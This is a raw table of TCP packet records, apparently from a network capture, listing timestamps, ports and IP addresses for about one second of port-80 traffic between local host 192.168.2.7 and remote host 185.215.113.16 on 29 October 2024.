Oct 29, 2024 20:36:14.904580116 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:14.904581070 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:14.904613018 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:14.904627085 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:14.904643059 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:14.904653072 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:14.904681921 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:14.904973030 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:14.905019045 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:14.905028105 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:14.905073881 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:14.905076981 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:14.905107975 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:14.905117989 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:14.905138016 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:14.905143023 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:14.905174971 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:14.905716896 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:14.905776978 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:14.905793905 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:14.905818939 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:14.905829906 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:14.905865908 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:14.905869961 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:14.905895948 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:14.905899048 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:14.905922890 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:14.905957937 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:14.906661987 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:14.906709909 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:14.906740904 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:14.906769991 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:14.906774998 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:14.906805992 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:14.906831026 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:14.945939064 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:14.946003914 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:14.946038961 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:14.946073055 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:14.946110010 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:14.946146011 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:14.946156025 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:14.946181059 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:14.946217060 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:14.946327925 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:14.946327925 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:14.946327925 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.017152071 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.017218113 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.017268896 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.017304897 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.017338991 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.017396927 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.017426968 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.017431974 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.017467976 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.017493010 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.017502069 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.017513037 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.017540932 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.017544031 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.017586946 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.062223911 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.062258005 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.062268972 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.062283039 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.062400103 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.062459946 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.062472105 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.062490940 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.062504053 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.062575102 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.062587023 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.062608004 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.062608004 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.062608004 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.062653065 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.062654018 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.062792063 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.062803030 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.062895060 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.147171974 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.147208929 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.147223949 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.147365093 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.147360086 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.147377968 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.147391081 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.147398949 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.147414923 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.147432089 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.147435904 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.147449970 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.147461891 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.147465944 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.147499084 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.179132938 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.179177046 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.179189920 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.179239988 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.179351091 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.179409981 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.179646969 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.179697990 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.179714918 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.179727077 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.179745913 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.179754019 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.179786921 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.179815054 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.179826975 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.179837942 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.179851055 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.179877043 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.264139891 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.264158010 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.264174938 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.264193058 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.264214039 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.264228106 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.264240980 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.264275074 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.264322996 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.264333010 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.264347076 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.264368057 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.264393091 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.296139002 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.296155930 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.296169996 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.296226025 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.296236992 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.296251059 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.296251059 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.296289921 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.296313047 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.296478987 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.296499014 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.296509981 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.296545029 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.296566963 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.296600103 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.296612024 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.296623945 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.296638012 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.296659946 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.380923986 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.380942106 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.380953074 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.380959988 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.380971909 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.380984068 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.381050110 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.381062984 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.381074905 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.381110907 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.381160021 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.381187916 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.381201029 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.381211996 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.381234884 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.381259918 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.412698030 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.412766933 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.412777901 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.412789106 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.412831068 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.412868977 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.413114071 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.413129091 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.413140059 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.413249969 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.413254023 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.413278103 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.413295984 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.413306952 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.413321018 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.413331032 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.413348913 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.413364887 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.413402081 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.413414001 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.413486004 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.413496017 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.413501024 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.413511038 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.413538933 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.498111010 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.498132944 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.498148918 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.498207092 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.498218060 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.498229980 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.498322010 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.498332977 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.498344898 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.498357058 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.498461962 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.498505116 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.529764891 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.529804945 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.529818058 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.529845953 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.529920101 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.530014038 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.530023098 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.530031919 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.530057907 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.530066967 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.530097961 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.530118942 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.530131102 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.530143023 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.530153990 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.530174971 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.530196905 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.530219078 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.530231953 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.530252934 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.530277014 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.576334953 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.576351881 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.576364040 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.576549053 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.614775896 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.614805937 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.614814997 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.614870071 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.614881992 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.614895105 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.614953995 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.614974022 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.615015984 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.615047932 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.615073919 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.615087032 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.615097046 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.615155935 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.615169048 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.615195990 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.615212917 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.615237951 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.615259886 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.646893024 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.646919966 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.646930933 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.646941900 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.646953106 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.646965027 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.647094011 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.647130013 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.647161961 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.647178888 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.647185087 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.647274017 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.647285938 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.647291899 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.647309065 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.647309065 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.647345066 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.693253994 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.693265915 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.693275928 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.693286896 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.693466902 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.731764078 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.731787920 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.731843948 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.731857061 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.731878996 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.731983900 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.731996059 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.732007980 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.732013941 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.732032061 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.732059002 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.732074976 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.732076883 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.732129097 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.763809919 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.763845921 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.763858080 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.763875008 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.763886929 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.763899088 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.763931990 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.763945103 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.763967991 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.764020920 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.764031887 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.764067888 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.764084101 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.764096975 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.764111042 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.764144897 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.764182091 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.764200926 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.810273886 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.810301065 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.810311079 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.810556889 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.849333048 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.849359035 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.849373102 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.849385023 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.849397898 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.849411011 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.849417925 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.849428892 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.849435091 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.849467039 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.849534035 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.849534035 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.849534035 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.880619049 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.880640984 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.880650997 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.880690098 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.880702019 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.880767107 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.880847931 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.880860090 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.880871058 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.880882978 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.880893946 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.880930901 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.880930901 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.880930901 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.882112026 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.883121014 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.883133888 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.883145094 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.883217096 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.883229971 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.883256912 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.883270025 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.883280039 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:15.883348942 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.883363962 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:15.926987886 CET	80	49983	185.215.113.16	192.168.2.7
